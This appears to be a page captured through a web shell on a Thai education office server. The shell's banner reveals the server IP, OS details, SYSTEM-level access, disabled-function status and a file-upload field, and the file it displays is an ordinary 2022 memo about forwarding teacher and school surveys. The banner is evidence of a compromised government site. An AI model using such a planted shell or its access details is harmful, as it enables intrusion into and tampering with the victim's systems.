| Server IP : 104.21.80.248 / Your IP : 172.71.28.156 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Inetpub/www/myoffice/2565/data/tkk1text/ |
Upload File : |
<p> <strong> เรื่องเดิม</strong> ด้วยสำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน มีนโยบายในการพัฒนาการศึกษาขั้นพื้นฐาน ให้เป็น "การศึกษาขั้นพื้นฐานวิถีใหม่ วิถีคุณภาพ" มุ่งเนั้นความปลอดภัยในสถานศึกษา ส่งเสริมโอกาสทางการศึกษาที่มีคุณภาพอย่างเท่าเทียม และบริหารจัดการศึกษาอย่างมีประสิทธิภาพ ดังนั้น เพื่อส่งเสริมและสนับสนุนการจัดการศึกษามัธยมศึกษา ให้นำไปสู่การสร้างนวัตกรรมเชิงพื้นที่ตามบริบทของสถานศึกษา สำนักบริหารงานการมัธยมศึกษาตอนปลายจึงจัดทำแบบสำรวจ จำนวน ๓ ฉบับ เพื่อสำรวจข้อมูลความต้องการของพื้นที่ในการพัฒนาคุณภาพการจัดการศึกษา <br /> <strong>ข้อเท็จจริง</strong> สำนักงานคณะกรรมการการศึกษาชั้นพื้นฐาน ขอให้สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาตอบแบบสำรวจ และแจ้งสถานศึกษาในสังกัดตอบแบบสำรวจ (ตามรายละเอียดดังแนบ) โดยตอบแบบสำรวจ ผ่าน QR Code ที่แจ้งในแบบสำรวจ ตั้งแต่บัดนี้จนถึงวันที่ ๑๕ มีนาคม ๒๕๖๕ เพื่อนำข้อมูลมาวางแผนในการดำเนินการตามความต้องการของพื้นที่ต่อไป<br /> <strong>ข้อกฎหมายและเอกสารที่เกี่ยวข้อง</strong> หนังสือสำนักงานคณะกรรมกรรมการการศึกษาขั้นพื้นฐาน ที่ ศธ ๐๔๒๒๙/ว ๑๔ ลงวันที่ ๑๓ มกราคม ๒๕๖๕<br /> <strong>ข้อพิจารณา</strong> กลุ่มนิเทศ ติดตามและประเมินผลการจัดการศึกษา พิจารณาแล้วเห็นสมควรดำเนินการดังนี้<br /> ๑. แจ้งผู้อำนวยการสำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี ตอบแบบสำรวจและความพร้อมของ สพม.ในการพัฒนานวัตกรรมเชิงพื้นที่ตามนโยบาย สพฐ.<br /> ๒. แจ้งผู้อำนวยการสถานศึกษาในสังกัด ตอบแบบสำรวจความต้องการในการพัฒนานวัตกรรมเชิงพื้นที่ตามนโยบาย สพฐ.<br /> ๓. แจ้งครูในสังกัด (๘ กลุ่มสาระการเรียนรู้ กลุ่มละ ๒ คน) ตอบแบบสำรวจความต้องการการพัฒนาความรู้และทักษะในการจัดการเรียนการสอนของบุคลากรครูมัธยมศึกษา<br /> <strong>ข้อเสนอ </strong> จึงเรียนมาเพื่อโปรดพิจารณา หากเห็นชอบโปรดลงนามหนังสือราชการ </p>